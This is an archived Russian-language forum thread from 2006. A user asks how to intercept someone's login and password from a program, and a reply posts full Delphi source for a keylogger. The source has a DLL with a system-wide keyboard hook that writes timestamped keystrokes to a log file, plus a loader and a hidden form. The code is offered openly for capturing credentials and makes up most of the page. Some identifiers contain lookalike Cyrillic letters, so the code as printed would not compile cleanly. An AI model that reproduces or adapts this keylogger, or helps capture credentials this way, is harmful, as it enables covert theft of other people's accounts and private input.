Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Клавиатурный шпион?...

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Клавиатурный шпион?...
Имя
Сообщение << Старые топики   Новые топики >>
Клавиатурный шпион?... - 2006-03-07 21:13:07   
dogged

Сообщений: 12
Оценки: 0
Присоединился: 2006-03-07 21:03:58
Подскажите ламеру начинающему…
Есть прога, в которой нужно перехватить аккаунт (логин+пароль), но я не могу найти такой клавиатурный шпион, который бы смог это сделать.
Проблема в том, что эта прога как-то по-своему работает с клавиатурой, и вместо логина и пароля в лог ложится что-то вроде:

11111111111 [tab] 11111111 [enter]

Я перепробовал много разных кейлоггеров и сам писал на Delphi7, но он выдал то-же самое [sm=sad.gif]
Кто знает, чо это за байда и как ее обойти?
Post #: 1
Клавиатурный шпион?... - 2006-03-11 21:01:25   
Tages

Сообщений: 30
Оценки: 0
Присоединился: 2006-03-09 01:02:16
Вот исходник одного из них, разбирайся сам… Состоит из 3-х файлов.
Библиотеки INETPC.DPR

library inetpc;

uses
SysUtils, windоws,
Classes;

{$R *.res}

Function Timer(code,vpar,ipar:integer):integer; stdcall;
const
logpath='D:\Max\Word\popalilis.log';
var
f: TextFile;
begin
AssignFile (f,logpath) ;
if fileexists(logpath) then
Append(f)
else
Rewrite(f);
Writeln(f, DateToStr(Date),' ', TimeToStr(Time),' '+chr(MapVirtualKey(vpar,2)));
// display the time on the form's caption
{Note This could have been done with the following line of code:
Caption := TimeToStr(Time);}
CloseFile(f);
Timer:=CallNextHookEx(0, code, vpar, ipar)
end;
exports
Timer;
begin
end.

Следующий INETRPC.DPR(вызывает библиотеку которая и работает с клавой, туда и мишь можно повесить[sm=10.gif])

program InetRpc;
{%File 'inetpc.dpr'}

uses
forms,
windоws,
forma in 'forma.pas' {Form1};

{$R *.res}

var
hook:HHook;
hdll:THandle;
{msg:Tmsg;}
begin
hdll:=loadlibrary('inetpc.dll');
hook:=setwindоwshookex(WH_KEYBOARD, GetProcAddress(hDLL,'Timer'),loadlibrary('inetpc.dll'),0);
while true do
Application.HandleMessage;

{application.Initialize;
Application.CreateForm(TForm1, Form1);
application.Run }
end.

Ну и сама форма forma.pas
unit forma;

interface

uses
windоws, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TоЬjесt);
procedure idle(Sender: TоЬjесt;var Done:boolean);
private

public

end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TоЬjесt);
begin
application.OnIdle:=idle
end;

procedure TForm1.idle(Sender: TоЬjесt;var Done:boolean);
begin
{}
end;

end.

Дерзай[sm=4.gif]
Post #: 2
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Клавиатурный шпион?...







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.